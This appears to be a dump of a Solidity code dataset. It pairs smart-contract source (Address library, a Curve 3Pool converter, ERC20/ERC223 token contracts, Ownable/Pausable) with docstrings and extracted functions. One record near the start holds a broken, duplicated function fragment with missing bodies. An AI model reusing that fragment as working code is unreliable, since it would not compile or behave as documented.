*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// solhint-disable func-name-mixedcase
// solhint-disable var-name-mixedcase
pragma solidity 0.6.12;
interface IConverter {
function token() external returns (address _share);
function convert(
address _input,
address _output,
uint _inputAmount
) external returns (uint _outputAmount);
function convert_rate(
address _input,
address _output,
uint _inputAmount
) external view returns (uint _outputAmount);
function convert_stables(
uint[3] calldata amounts
) external returns (uint _shareAmount); // 0: DAI, 1: USDC, 2: USDT
function calc_token_amount(
uint[3] calldata amounts,
bool deposit
) external view returns (uint _shareAmount);
function calc_token_amount_withdraw(
uint _shares,
address _output
) external view returns (uint _outputAmount);
function setStrategy(address _strategy, bool _status) external;
}
// SPDX-License-Identifier: MIT
// solhint-disable func-name-mixedcase
// solhint-disable var-name-mixedcase
pragma solidity 0.6.12;
interface IStableSwap3Pool {
function get_virtual_price() external view returns (uint);
function balances(uint) external view returns (uint);
function get_dy(int128 i, int128 j, uint dx) external view returns (uint dy);
function exchange(int128 i, int128 j, uint dx, uint min_dy) external;
function add_liquidity(uint[3] calldata amounts, uint min_mint_amount) external;
function remove_liquidity(uint _amount, uint[3] calldata amounts) external;
function remove_liquidity_one_coin(uint _token_amount, int128 i, uint min_amount) external;
function calc_token_amount(uint[3] calldata amounts, bool deposit) external view returns (uint);
function calc_withdraw_one_coin(uint _token_amount, int128 i) external view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
interface IStableSwap3PoolOracle {
function getEthereumPrice() external view returns (uint256);
function getMinimumPrice() external view returns (uint256);
function getSafeAnswer(address) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IVaultManager {
function controllers(address) external view returns (bool);
function getHarvestFeeInfo() external view returns (address, address, uint256, address, uint256, address, uint256);
function governance() external view returns (address);
function harvester() external view returns (address);
function insuranceFee() external view returns (uint256);
function insurancePool() external view returns (address);
function insurancePoolFee() external view returns (uint256);
function stakingPool() external view returns (address);
function stakingPoolShareFee() external view returns (uint256);
function strategist() external view returns (address);
function treasury() external view returns (address);
function treasuryBalance() external view returns (uint256);
function treasuryFee() external view returns (uint256);
function vaults(address) external view returns (bool);
function withdrawalProtectionFee() external view returns (uint256);
function yax() external view returns (address);
}
// SPDX-License-Identifier: MIT
// solhint-disable func-name-mixedcase
// solhint-disable var-name-mixedcase
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./IConverter.sol";
import "./IVaultManager.sol";
import "./IStableSwap3Pool.sol";
import "./IStableSwap3PoolOracle.sol";
/**
* @title StableSwap3PoolConverter
* @notice The StableSwap3PoolConverter is used to convert funds on Curve's 3Pool.
* It is backed by Chainlink's price feeds to be secure against attackers.
*/
contract StableSwap3PoolConverter is IConverter {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant ONE_HUNDRED_PERCENT = 10000;
uint256[3] public PRECISION_MUL = [1, 1e12, 1e12];
IERC20[3] public tokens; // DAI, USDC, USDT
IERC20 public token3CRV; // 3Crv
IStableSwap3Pool public stableSwap3Pool;
IVaultManager public vaultManager;
IStableSwap3PoolOracle public oracle;
mapping(address => bool) public strategies;
/**
* @param _tokenDAI The address of the DAI token
* @param _tokenUSDC The address of the USDC token
* @param _tokenUSDT The address of the USDT token
* @param _token3CRV The address of the 3CRV token
* @param _stableSwap3Pool The address of 3Pool
* @param _vaultManager The address of the Vault Manager
* @param _oracle The address of the StableSwap3PoolOracle
*/
constructor(
IERC20 _tokenDAI,
IERC20 _tokenUSDC,
IERC20 _tokenUSDT,
IERC20 _token3CRV,
IStableSwap3Pool _stableSwap3Pool,
IVaultManager _vaultManager,
IStableSwap3PoolOracle _oracle
) public {
tokens[0] = _tokenDAI;
tokens[1] = _tokenUSDC;
tokens[2] = _tokenUSDT;
token3CRV = _token3CRV;
stableSwap3Pool = _stableSwap3Pool;
tokens[0].safeApprove(address(stableSwap3Pool), type(uint256).max);
tokens[1].safeApprove(address(stableSwap3Pool), type(uint256).max);
tokens[2].safeApprove(address(stableSwap3Pool), type(uint256).max);
token3CRV.safeApprove(address(stableSwap3Pool), type(uint256).max);
vaultManager = _vaultManager;
oracle = _oracle;
}
/**
* @notice Sets a new address for the 3Pool contract
* @param _stableSwap3Pool The address of 3Pool
*/
function setStableSwap3Pool(IStableSwap3Pool _stableSwap3Pool) external onlyGovernance {
stableSwap3Pool = _stableSwap3Pool;
tokens[0].safeApprove(address(stableSwap3Pool), type(uint256).max);
tokens[1].safeApprove(address(stableSwap3Pool), type(uint256).max);
tokens[2].safeApprove(address(stableSwap3Pool), type(uint256).max);
token3CRV.safeApprove(address(stableSwap3Pool), type(uint256).max);
}
/**
* @notice Called by Governance to set the value for the vaultManager address
* @param _vaultManager The new vaultManager value
*/
function setVaultManager(IVaultManager _vaultManager) external onlyGovernance {
vaultManager = _vaultManager;
}
/**
* @notice Called by Governance to enable or disable a strategy to use the converter
* @param _strategy The address of the strategy
* @param _status The bool flag allowing or disallowing use of the converter by the strategy
*/
function setStrategy(address _strategy, bool _status) external override onlyGovernance {
strategies[_strategy] = _status;
}
/**
* @notice Called by Governance to approve a token address to be spent by an address
* @param _token The address of the token
* @param _spender The address of the spender
* @param _amount The amount to spend
*/
function approveForSpender(
IERC20 _token,
address _spender,
uint256 _amount
) external onlyGovernance {
_token.safeApprove(_spender, _amount);
}
/**
* @notice Returns the address of the 3CRV token
*/
function token() external override returns (address) {
return address(token3CRV);
}
/**
* @notice Returns the expected amount of tokens for a given amount by querying
* the latest data from Chainlink
* @param _inputAmount The input amount of tokens that are being converted
*/
function getExpected(uint256 _inputAmount) public view returns (uint256) {
return _inputAmount.mul(
oracle.getEthereumPrice().mul(
oracle.getMinimumPrice()
).div(1e18)
).div(1e18);
}
/**
* @notice Converts the amount of input tokens to output tokens
* @param _input The address of the token being converted
* @param _output The address of the token to be converted to
* @param _inputAmount The input amount of tokens that are being converted
*/
function convert(
address _input,
address _output,
uint256 _inputAmount
) external override onlyAuthorized returns (uint256 _outputAmount) {
uint256 _expected = getExpected(_inputAmount);
if (_output == address(token3CRV)) { // convert to 3CRV
uint256[3] memory amounts;
for (uint8 i = 0; i < 3; i++) {
if (_input == address(tokens[i])) {
amounts[i] = _inputAmount;
uint256 _before = token3CRV.balanceOf(address(this));
stableSwap3Pool.add_liquidity(amounts, _expected);
uint256 _after = token3CRV.balanceOf(address(this));
_outputAmount = _after.sub(_before);
token3CRV.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
}
} else if (_input == address(token3CRV)) { // convert from 3CRV
for (uint8 i = 0; i < 3; i++) {
if (_output == address(tokens[i])) {
uint256 _before = tokens[i].balanceOf(address(this));
stableSwap3Pool.remove_liquidity_one_coin(_inputAmount, i, _expected.div(PRECISION_MUL[i]));
uint256 _after = tokens[i].balanceOf(address(this));
_outputAmount = _after.sub(_before);
tokens[i].safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
}
}
return 0;
}
/**
* @notice Checks the amount of input tokens to output tokens
* @param _input The address of the token being converted
* @param _output The address of the token to be converted to
* @param _inputAmount The input amount of tokens that are being converted
*/
function convert_rate(
address _input,
address _output,
uint256 _inputAmount
) external override view returns (uint256) {
if (_output == address(token3CRV)) { // convert to 3CRV
uint256[3] memory amounts;
for (uint8 i = 0; i < 3; i++) {
if (_input == address(tokens[i])) {
amounts[i] = _inputAmount;
return stableSwap3Pool.calc_token_amount(amounts, true);
}
}
} else if (_input == address(token3CRV)) { // convert from 3CRV
for (uint8 i = 0; i < 3; i++) {
if (_output == address(tokens[i])) {
// @dev this is for UI reference only, the actual share price
// (stable/CRV) will be re-calculated on-chain when we do convert()
return stableSwap3Pool.calc_withdraw_one_coin(_inputAmount, i);
}
}
}
return 0;
}
/**
* @notice Converts stables of the 3Pool to 3CRV
* @dev 0: DAI, 1: USDC, 2: USDT
* @param amounts Array of token amounts
*/
function convert_stables(
uint256[3] calldata amounts
) external override onlyAuthorized returns (uint256 _shareAmount) {
uint256 _before = token3CRV.balanceOf(address(this));
stableSwap3Pool.add_liquidity(amounts, 1);
uint256 _after = token3CRV.balanceOf(address(this));
_shareAmount = _after.sub(_before);
token3CRV.safeTransfer(msg.sender, _shareAmount);
}
/**
* @notice Checks the amount of 3CRV given for the amounts
* @dev 0: DAI, 1: USDC, 2: USDT
* @param amounts Array of token amounts
* @param deposit Flag for depositing LP tokens
*/
function calc_token_amount(
uint256[3] calldata amounts,
bool deposit
) external override view returns (uint256 _shareAmount) {
_shareAmount = stableSwap3Pool.calc_token_amount(amounts, deposit);
}
/**
* @notice Checks the amount of an output token given for 3CRV
* @param _shares The amount of 3CRV
* @param _output The address of the output token
*/
function calc_token_amount_withdraw(
uint256 _shares,
address _output
) external override view returns (uint256) {
for (uint8 i = 0; i < 3; i++) {
if (_output == address(tokens[i])) {
return stableSwap3Pool.calc_withdraw_one_coin(_shares, i);
}
}
return 0;
}
/**
* @notice Allows Governance to withdraw tokens from the converter
* @dev This contract should never have any tokens in it at the end of a transaction
* @param _token The address of the token
* @param _amount The amount to withdraw
* @param _to The address to receive the tokens
*/
function governanceRecoverUnsupported(
IERC20 _token,
uint256 _amount,
address _to
) external onlyGovernance {
_token.transfer(_to, _amount);
}
/**
* @dev Throws if not called by a vault, controller, strategy, or governance
*/
modifier onlyAuthorized() {
require(vaultManager.vaults(msg.sender)
|| vaultManager.controllers(msg.sender)
|| strategies[msg.sender]
|| msg.sender == vaultManager.governance(),
"!authorized"
);
_;
}
/**
* @dev Throws if not called by a controller or governance
*/
modifier onlyGovernance() {
require(vaultManager.controllers(msg.sender)
|| msg.sender == vaultManager.governance(), "!governance");
_;
}
}
|
Checks the amount of an output token given for 3CRV _shares The amount of 3CRV _output The address of the output token/
|
) external override view returns (uint256) {
function convert_stables(
uint256[3] calldata amounts
}
function calc_token_amount(
uint256[3] calldata amounts,
bool deposit
}
function calc_token_amount_withdraw(
uint256 _shares,
address _output
for (uint8 i = 0; i < 3; i++) {
if (_output == address(tokens[i])) {
return stableSwap3Pool.calc_withdraw_one_coin(_shares, i);
}
}
return 0;
function convert_stables(
uint256[3] calldata amounts
}
function calc_token_amount(
uint256[3] calldata amounts,
bool deposit
}
function calc_token_amount_withdraw(
uint256 _shares,
address _output
for (uint8 i = 0; i < 3; i++) {
if (_output == address(tokens[i])) {
return stableSwap3Pool.calc_withdraw_one_coin(_shares, i);
}
}
return 0;
}
| 12,114,957
|
./partial_match/1/0xd2879B0849Eb3e2AA15f8D7833A78CC537dd10Fc/sources/PepeDex.sol
|
See {IERC20-balanceOf}./
|
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| 2,832,075
|
./full_match/97/0xFbb952EF8435CA572306d3613d81B27E074F3a17/sources/contracts/core/DrawBuffer.sol
|
Convert a Draw.drawId to a Draws ring buffer index pointer. The getNewestDraw.drawId() is used to calculate a Draws ID delta position. _drawId Draw.drawId return Draws ring buffer index pointer/
|
function _drawIdToDrawIndex(DrawRingBufferLib.Buffer memory _buffer, uint32 _drawId)
internal
pure
returns (uint32)
{
return _buffer.getIndex(_drawId);
}
| 3,273,523
|
pragma solidity ^0.4.24;
contract Encoder {
function uintToChar(uint8 _uint) internal pure returns(string) {
byte b = "\x30"; // ASCII code for 0
if (_uint > 9) {
b = "\x60"; // ASCII code for the char before a
_uint -= 9;
}
bytes memory bs = new bytes(1);
bs[0] = b | byte(_uint);
return string(bs);
}
/**
* Encodes the string representation of a uint8 into bytes
*/
function encodeUInt(uint256 _uint) public pure returns(bytes memory) {
if (_uint == 0) {
return abi.encodePacked(uintToChar(0));
}
bytes memory result;
uint256 x = _uint;
while (x > 0) {
result = abi.encodePacked(uintToChar(uint8(x % 10)), result);
x /= 10;
}
return result;
}
/**
* Encodes the string representation of an address into bytes
*/
function encodeAddress(address _address) public pure returns (bytes memory res) {
for (uint i = 0; i < 20; i++) {
// get each byte of the address
byte b = byte(uint8(uint(_address) / (2**(8*(19 - i)))));
// split it into two
uint8 high = uint8(b >> 4);
uint8 low = uint8(b) & 15;
// and encode them as chars
res = abi.encodePacked(res, uintToChar(high), uintToChar(low));
}
return res;
}
/**
* Encodes a string into bytes
*/
function encodeString(string _str) public pure returns (bytes memory) {
return abi.encodePacked(_str);
}
}
|
Encodes the string representation of a uint8 into bytes/
|
function encodeUInt(uint256 _uint) public pure returns(bytes memory) {
if (_uint == 0) {
return abi.encodePacked(uintToChar(0));
}
bytes memory result;
uint256 x = _uint;
while (x > 0) {
result = abi.encodePacked(uintToChar(uint8(x % 10)), result);
x /= 10;
}
return result;
}
| 6,404,035
|
./partial_match/1/0xFf6000a85baAc9c4854fAA7155e70BA850BF726b/sources/src/XXYYZZRerollFinalize.sol
|
Burn and re-mint a token with a specific hex ID, then finalize it. Uses a commit-reveal scheme to prevent front-running. Only callable by the owner of the token. Users must call `commit(bytes32)` with the result of `computeCommitment(address,uint256,bytes32)` and wait at least COMMITMENT_LIFESPAN seconds before calling `rerollSpecificAndFinalize`. oldId The 6-hex-digit token ID to burn newId The 6-hex-digit token ID to mint salt The salt used in the commitment for the new ID commitment/ won't re-validate price, but above function already did
|
function rerollSpecificAndFinalize(uint256 oldId, uint256 newId, bytes32 salt) public payable {
_validatePayment(REROLL_AND_FINALIZE_PRICE, 1);
_rerollSpecificWithSalt(oldId, newId, salt);
_finalizeToken(newId, msg.sender);
}
| 3,952,254
|
pragma solidity ^0.4.26;
/// import base contracts, interfaces, libraries from latest gitHUB
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; assert(c >= a);
return c;
}
}
/**
* @title ERC223 interface
* @dev interface ERC223 for emit tokenFallback event
*/
contract TokenReceiver {
function tokenFallback(address _sender, address _origin, uint _value) public returns (bool ok);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
* @dev Addedd ERC223 send tokens to another contract Implementation
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2*32) returns (bool) {
bool result = _transfer(msg.sender, _to, _value);
if (result && isContract(_to)) {
result = _transferToContract(msg.sender, _to, _value);
}
return result;
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value > 0);
require(_value <= balances[_from]);
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) internal constant returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
/**
* @dev Function that is called when a user or another contract wants
* to transfer funds to smart-contract
* @return A boolean that indicates if the operation was successful
*/
function _transferToContract(address _from, address _to, uint _value) internal returns (bool success) {
TokenReceiver receiver = TokenReceiver(_to);
return receiver.tokenFallback(_from, this, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3*32) returns (bool) {
require(_value <= allowed[_from][msg.sender]);
bool result = _transfer(_from, _to, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (result && isContract(_to)) {
result = _transferToContract(_from, _to, _value);
}
return result;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public onlyPayloadSize(2*32) returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined) * From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public onlyPayloadSize(2*32) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public onlyPayloadSize(2*32) returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/*this function is commented for payload to commissions ability. see ERC223Receiver contract
function () public payable {
revert();
}*/
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223 receiver
* @dev - basic implementation that sent all tokens to special address, by default to owner.
*/
contract ERC223Receiver is TokenReceiver, Ownable {
address tokenHolder;
event getTokens(address indexed _from, address indexed _origin, uint _value);
constructor () public {
tokenHolder = msg.sender;
}
/**
* @dev - set new address to sent all incoming tokens.
* @param _newTokenHolder address to sent all incoming tokens.
*/
function setTokenHolder(address _newTokenHolder) public onlyOwner {
tokenHolder = _newTokenHolder;
}
/**
* @dev - ERC223 special callback function. callable from another contract.
* @param _sender address that sent tokens
* @param _origin ERC223 contract address
* @param _value amount of transferred tokens.
*/
function tokenFallback(address _sender, address _origin, uint _value) public returns (bool ok) {
// in contract._origin was transfer(_sender, this, _value);
// to send all we can
// 1. create contract._origin
// 2. transfer from this to special address _value tokens.
// 3. do something changes in this contract? mint some tokens?
ERC20Basic erc223 = ERC20Basic(_origin);
bool result = erc223.transfer(tokenHolder, _value);
emit getTokens(_sender, _origin, _value);
return result;
}
/**
* @dev noERC223 special function for transfer erc20 basable tokens from this contract to tokenHolder(by default owner) special address.
* @param _contract address of contract to check for balance & transfer tokens to tokenHolder.
* @return true if balance greter than 0 & transfer is ok.
*/
function collectTokens(address _contract) public returns (bool ok) {
ERC20Basic erc20 = ERC20Basic(_contract);
uint256 balance = erc20.balanceOf(this);
ok = false;
if (balance > 0) {
ok = erc20.transfer(tokenHolder, balance);
emit getTokens(msg.sender, _contract, balance);
}
return ok;
}
/**
* @dev function to send all ethers from contract to owner
*/
function collectEther() public onlyOwner payable {
owner.transfer(address(this).balance);
}
function () external payable {
}
}
/**
* @title - Liqnet Extension Token
* @dev - LIQNET Extension for Mintable & Burnable for maxMintableSupply
*/
contract LiqnetExtToken is ERC223Receiver {
using SafeMath for uint256;
uint public maxMintSupply;
uint public totalMinted = 0;
modifier canMint(uint value) {
require((totalMinted.add(value)) <= maxMintSupply);
_;
}
function isMintFinished() internal view returns (bool isFinished) {
return (totalMinted >= maxMintSupply);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable, LiqnetExtToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
constructor () public {
saleAgent = msg.sender;
}
/**
* @dev Allows the current owner to approve control of the minting to additional address.
* @param newSaleAgent The address to approve minting control.
*/
function setSaleAgent(address newSaleAgent) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgent;
}
/**
* @dev Allows the current owner or saleAgent mint some coins to address.
* @param _to The address for new coins.
* @param _amount amount of coin to mint.
* @return true if mint is successful.
*/
function mint(address _to, uint256 _amount) public canMint(_amount) returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
totalSupply = totalSupply.add(_amount);
totalMinted = totalMinted.add(_amount); //**************************LiqnetExtToken
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
if (isMintFinished()) { finishMinting(); } //***********LiqnetExtToken
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable tokens
* @dev functions for burn previosly minted tokens
*/
contract BurnableToken is StandardToken, Ownable, LiqnetExtToken {
uint public totalBurned = 0;
/**
* @dev Allows the current owner of coins burn it.
* @param value - amount of coins to burn.
*/
function burn(uint value) public onlyPayloadSize(32) {
require(value>0 && balances[msg.sender] >= value);
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalBurned = totalBurned.add(value);
emit Burn(msg.sender, value);
}
/**
* @dev Allows the spender (approve function) to burn some coins from another address.
* @param from - address for burn coins.
* @param value - amount of coins to burn.
*/
function burnFrom(address from, uint value) public onlyPayloadSize(2*32) {
require(value > 0 && value <= balances[from] && value <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalBurned = totalBurned.add(value);
emit Burn(from, value);
}
event Burn(address indexed burner, uint indexed value);
}
/**
* @title - LIQNET Liqidity Exchange Network tokens
* @dev mint will be executed from Crowdsale contract
*/
contract LiqnetCoin is MintableToken, BurnableToken {
string public constant name = "Liqnet Coin";
string public constant symbol = "LEN";
uint32 public constant decimals = 18;
constructor() public {
maxMintSupply = 3500000 * (1 ether);
}
}
|
Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: _spender The address which will spend the funds. _value The amount of tokens to be spent./
|
function approve(address _spender, uint256 _value) public onlyPayloadSize(2*32) returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| 1,352,029
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Claimable
